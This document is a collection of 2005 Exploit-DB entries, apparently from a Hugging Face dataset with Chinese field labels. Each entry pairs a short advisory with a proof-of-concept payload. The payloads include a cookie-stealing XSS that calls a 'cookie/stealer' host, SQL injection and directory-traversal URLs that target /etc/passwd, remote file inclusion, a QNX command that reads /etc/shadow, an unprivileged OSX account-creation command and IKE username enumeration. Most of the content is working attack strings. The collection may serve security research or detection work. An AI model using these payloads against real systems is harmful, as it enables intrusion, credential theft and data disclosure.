QLWD/code_shield huggingface dataset:
标题: PHP-Fusion 4.0/5.0/6.0 - BBCode URL Tag Script Injection EDB-ID: 26209 CVE: 2005-2783 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14688/info

PHP-Fusion is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

[URL=http://aaaaaa.com/UR[url=aa.com&&OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;
location="http://google.com]][/URL][/url] URL: https://www.exploit-db.com/exploits/26209
标题: bfcommand & control server 1.22/2.0/2.14 manager - Multiple Vulnerabilities EDB-ID: 26210 CVE: 2005-2791 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14690/info

BFCC and BFVCC server managers are vulnerable to multiple remote vulnerabilities.

The first two issues are login bypass vulnerabilities. These issues allow remote, anonymous attackers to gain access to the affected server process.

The third issue is a design error whereby the server application implements access controls, privileges, and other commands in the client-side of the connection. This allows remote attackers to gain full administrative access to the affected application.

The fourth issue is a remote denial of service vulnerability. This issue is due to a failure of the application to properly handle multiple connections.

These vulnerabilities allow remote attackers to gain administrative access in the affected server application, and to deny further access to the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26210.zip URL: https://www.exploit-db.com/exploits/26210
标题: Land Down Under 700/701/800/801 - 'list.php' Multiple SQL Injections EDB-ID: 26207 CVE: 2005-2675 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14685/info
  
Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ldu/list.php?c='&s=title&w=asc&o=1&p=1
http://www.example.com/ldu/list.php?c=%27&s=title&w=asc&o=1&p=1 URL: https://www.exploit-db.com/exploits/26207
标题: Land Down Under 700/701/800/801 - 'events.php?c' SQL Injection EDB-ID: 26206 CVE: 2005-2788 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14685/info
 
Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ldu/events.php?c='
http://www.example.com/ldu/events.php?f=incoming&c='
http://www.example.com/ldu/events.php?c=%27
http://www.example.com/ldu/events.php?f=incoming&c=%27 URL: https://www.exploit-db.com/exploits/26206
标题: phpMyAdmin 2.x - 'error.php' Cross-Site Scripting EDB-ID: 26199 CVE: 2005-2869 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/14675/info

phpMyAdmin is prone to a cross-site scripting vulnerability.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the software. Such an attack would require that the victim follows a malicious link that includes hostile HTML and script code. 

/error.php?error=%3Cscript%3Ewindow.alert('a')%3C/script%3E URL: https://www.exploit-db.com/exploits/26199
标题: SqWebMail 5.0.4 - HTML Email IMG Tag Script Injection EDB-ID: 26200 CVE: 2005-2769 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/14676/info

SqWebMail is affected by a vulnerability that may allow remote attackers to inject and execute arbitrary script code in a user's browser.

This may allow for various attacks including session hijacking due to the theft of user credentials.

SqWebMail 5.0.4 is reportedly vulnerable to this issue. It is possible that other versions are affected as well. 

<img src="cid:>" onError="alert(document.domain);"> URL: https://www.exploit-db.com/exploits/26200
标题: QNX RTOS 6.1/6.3 - InputTrap Local Arbitrary File Disclosure EDB-ID: 26195 CVE: 2005-2725 类型: LOCAL 平台: LINUX 发布日期: 2005-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14656/info

QNX RTOS is susceptible to a local arbitrary file disclosure vulnerability. This issue is due to a failure of the 'inputtrap' utility to properly implement access control restrictions.

This vulnerability allows local malicious users to gain access to the contents of arbitrary files with superuser privileges, aiding them in further attacks.

QNX RTOS versions 6.1 and 6.3 are affected by this issue. Other versions are also likely affected. This issue is similar to the one described in BID 4901. 

inputtrap -t /etc/shadow start URL: https://www.exploit-db.com/exploits/26195
标题: PostNuke 0.76 RC4b - 'user.php?htmltext' Cross-Site Scripting EDB-ID: 26188 CVE: 2005-2689 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14635/info
 
PostNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input.
 
This can lead to theft of cookie-based authentication credentials, as well as other types of attacks. 

http://www.example.com/PostNuke-0.760-RC4b/html/user.php?op=edituser&htmltext=<h1>xss URL: https://www.exploit-db.com/exploits/26188
标题: Astaro Security Linux 6.0 01 - HTTP CONNECT Unauthorized Access EDB-ID: 26198 CVE: 2005-2729 类型: REMOTE 平台: LINUX 发布日期: 2005-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/14665/info

Astaro Security Linux is prone to a weakness that may allow remote attackers to connect to arbitrary ports on a vulnerable computer.

This weakness may be combined with other attacks to exploit latent vulnerabilities. An attacker can bypass access controls implemented by the application through this attack.

Astaro Security Linux 6.001 is prone to this weakness. 

Connect to TCP port 8080 and enter the following command:

CONNECT localhost:80 HTTP/1.0 URL: https://www.exploit-db.com/exploits/26198
标题: PostNuke 0.75/0.76 DL - 'viewdownload.php' SQL Injection EDB-ID: 26189 CVE: 2005-2690 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14636/info

PostNuke is prone to an SQL injection vulnerability. This issue is due to a lack of sufficient sanitization of user-supplied input.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[DIR]/index.php?name=Downloads&req=viewdownload&cid=1&show=[SQL%20INJECTION] URL: https://www.exploit-db.com/exploits/26189
标题: PHPKit 1.6.1 - 'member.php' SQL Injection EDB-ID: 26184 CVE: 2005-2683 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14629/info

PHPKit is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpkit/include.php?path=login/member.php&letter=phuket'%20AND%20MID(user_pw,1,1)='8'/* URL: https://www.exploit-db.com/exploits/26184
标题: Apple Mac OSX 10.4 - dsidentity Directory Services Account Creation and Deletion EDB-ID: 26185 CVE: 2005-2508 类型: LOCAL 平台: OSX 发布日期: 2005-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14630/info

A vulnerability in Apple Directory Services allows unprivileged users to create or delete directory services idnetity accounts.

This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnerabilities. It is now being assigned its own BID. 

To create an account named 'Username' with the password 'pass':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a Username -s pass -v

To delete an account named 'Username':
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -r Username -v

To create multiple accounts:
Victim:~ kevinfinisterre$ /usr/sbin/dsidentity -a `perl -e 'print "A" x 29000'` URL: https://www.exploit-db.com/exploits/26185
标题: LeapFTP Client 2.7.3/2.7.4 - '.LSQ' File Remote Buffer Overflow (PoC) EDB-ID: 26194 CVE: 2005-2767 类型: DOS 平台: WINDOWS 发布日期: 2005-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14655/info

LeapFTP client is prone to a remote buffer overflow vulnerability.

The issue arises when the client handles a malformed LeapFTP Site Queue (.lsq) file.

A remote attacker may gain unauthorized access in the context of the user running the application.

LeapFTP versions prior to 2.7.6.612 are affected by this vulnerability.

//bof.lsq

[HOSTINFO]
HOST=AAAAA...[ long string ]...AAAAA
USER=username
PASS=password

[FILES]
"1","/winis/ApiList.zip","477,839","E:\ApiList.zip" URL: https://www.exploit-db.com/exploits/26194
标题: Foojan PHPWeblog - Html Injection EDB-ID: 26197 CVE: 2005-2721 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14658/info

Foojan PHPWeblog is prone to an HTML injection vulnerability. This is due to a lack of proper sanitization of user-supplied input.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

in gmain.php:

$Weblog-> query ("INSERT INTO `visits` ( `id` , `ip` , `refferer` , `date` , `time` )VALUES ('', '".$_SERVER['HTTP_USER_AGENT']."', '".$_SERVER['HTTP_REFERER']."', '$num', '$num2');"); URL: https://www.exploit-db.com/exploits/26197
标题: PostNuke 0.76 RC4b Comments Module - 'moderate' Cross-Site Scripting EDB-ID: 26187 CVE: 2005-2689 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14635/info

PostNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input.

This can lead to theft of cookie-based authentication credentials, as well as other types of attacks. 

http://www.example.com/[DIR]/index.php?module=Comments&req=moderate&moderate=<center><h1>xss URL: https://www.exploit-db.com/exploits/26187
标题: Land Down Under 800 - 'journal.php?w' Cross-Site Scripting EDB-ID: 26181 CVE: 2005-2674 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14619/info

Land Down Under is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ldu/journal.php?m=home&s=username&w='><script>alert('test');</script> URL: https://www.exploit-db.com/exploits/26181
标题: Land Down Under 800 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26182 CVE: 2005-2674 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14619/info
 
Land Down Under is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ldu/index.php?c='><script>alert('test');</script>
http://www.example.com/ldu/index.php?m='><script>alert('test');</script> URL: https://www.exploit-db.com/exploits/26182
标题: Land Down Under 800/801 - 'forums.php' Multiple SQL Injections EDB-ID: 26180 CVE: 2005-2675 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14618/info
   
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x='
http://www.example.com/ldu/forums.php?m=topics&q=3&n=' 
http://www.example.com/ldu/forums.php?m='&q=3&n=last 
http://www.example.com/ldu/forums.php?m=topics&s=' URL: https://www.exploit-db.com/exploits/26180
标题: Land Down Under 800/801 - 'links.php?w' SQL Injection EDB-ID: 26177 CVE: 2005-2675 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14618/info

Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/links.php?c=links&s=title&w=' URL: https://www.exploit-db.com/exploits/26177
标题: Woltlab Burning Board 2.x - 'ModCP.php' SQL Injection EDB-ID: 26176 CVE: 2005-2673 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14617/info

Woltlab Burning Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

It should be noted an attacker must have moderator credentials to access the vulnerable script. 

http://www.example.com/modcp.php?action=post_del&x='SQL_CODE_HERE
http://www.example.com/modcp.php?action=post_del&x=6&y='SQL_CODE_HERE URL: https://www.exploit-db.com/exploits/26176
标题: Land Down Under 800/801 - 'journal.php?m' SQL Injection EDB-ID: 26178 CVE: 2005-2675 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14618/info
 
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/journal.php?m='&s=username&w=asc
http://www.example.com/ldu/journal.php?m='&p=1
http://www.example.com/ldu/journal.php?m=' URL: https://www.exploit-db.com/exploits/26178
标题: Land Down Under 800/801 - 'list.php' Multiple SQL Injections EDB-ID: 26179 CVE: 2005-2675 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14618/info
  
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/list.php?c=articles&s=title&w=asc&o='&p=1
http://www.example.com/ldu/list.php?c=articles&s=title&w='&o=1&p=1
http://www.example.com/ldu/list.php?c=articles&s='&w=asc&o=1&p=1 URL: https://www.exploit-db.com/exploits/26179
标题: W-Agora 4.2 - 'Site' Directory Traversal EDB-ID: 26169 CVE: 2005-2648 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/14597/info

W-Agora is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd
http://www.example.com/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/26169
标题: ATutor 1.5.1 - 'login.php?course' Cross-Site Scripting EDB-ID: 26170 CVE: 2005-2649 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/14598/info

ATutor is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/tour/login.php?course="><script>alert('XSS');</script> URL: https://www.exploit-db.com/exploits/26170
标题: Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities EDB-ID: 26172 CVE: 2005-2557 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14604/info

Mantis is prone to multiple input validation vulnerabilities. These issues involve cross-site scripting, HTML injection and variable poisoning, and are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Successful exploitation of the HTML injection issue could result in having attacker-supplied HTML and script code executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The variable poisoning issue could result in unauthorized access and denial of service attacks. 

A - Cross Site Scripting Vulnerabilities

http://www.example.com/view_all_set.php?sort=severity&dir="><script>alert(document.cookie)</script>&type=2

B.- Database scanner via variable poisoning

http://www.example.com/core/database_api.php?g_db_type=mysql://invaliduser@localhost:3336
http://www.example.com/core/database_api.php?g_db_type=mysql://root@localhost:3336
http://www.example.com/core/database_api.php?g_db_type=informix://localhost:8080
http://www.example.com/core/database_api.php?g_db_type=mysql://root@10.x.y.z URL: https://www.exploit-db.com/exploits/26172
标题: Juniper NetScreen 5.0 - VPN 'Username' Enumeration EDB-ID: 26168 CVE: 2005-2640 类型: REMOTE 平台: HARDWARE 发布日期: 2005-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/14595/info

The Juniper Netscreen VPN implementation will identify valid usernames in IKE aggressive mode, when pre-shared key authentication is used. This allows for attackers to obtain a list of valid VPN users. With a valid username, an attacker can obtain hashed credentials against which a brute force attack may be performed. A successful crack would mean that the attacker has complete access to the network. 

The ike-scan options used in this example are:

-A Specify IKE Aggressive Mode. The default for ike-scan is
Main Mode.

-M Multiline: Display each payload on a separate line, which
makes the output easier to read.

--id=string Specify the string to be used for the ID payload.

10.0.0.1 The IP address of the target Netscreen.

3.1. Response to valid username "royhills@hotmail.com"

$ ike-scan -A -M --id=royhills@hotmail.com 10.0.0.1
Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Aggressive Mode Handshake returned
HDR=(CKY-R=21af4dbe2cecd5f0)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
VID=64405f46f03b7660a23be116a1975058e69e83870000000400000403
(Netscreen-05)
VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=10.0.0.1)
Hash(20 bytes)

Ending ike-scan 1.7.7: 1 hosts scanned in 0.136 seconds (7.37 hosts/sec). 1
returned handshake; 0 returned notify

3.2. Response to invalid username "invalid@hotmail.com"

$ ike-scan -A -M --id=invalid@hotmail.com 10.0.0.1
Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)

Ending ike-scan 1.7.7: 1 hosts scanned in 2.467 seconds (0.41 hosts/sec). 0
returned handshake; 0 returned notify URL: https://www.exploit-db.com/exploits/26168
标题: PHPTB Topic Board 2.0 - 'board_o.php?absolutepath' Remote File Inclusion EDB-ID: 26163 CVE: 2005-2633 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14592/info
 
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/board_o.php?absolutepath=http://www.example.com/ URL: https://www.exploit-db.com/exploits/26163
标题: PHPTB Topic Board 2.0 - 'file_o.php?absolutepath' Remote File Inclusion EDB-ID: 26165 CVE: 2005-2633 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14592/info
   
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/file_o.php?absolutepath=http://www.example.com/ URL: https://www.exploit-db.com/exploits/26165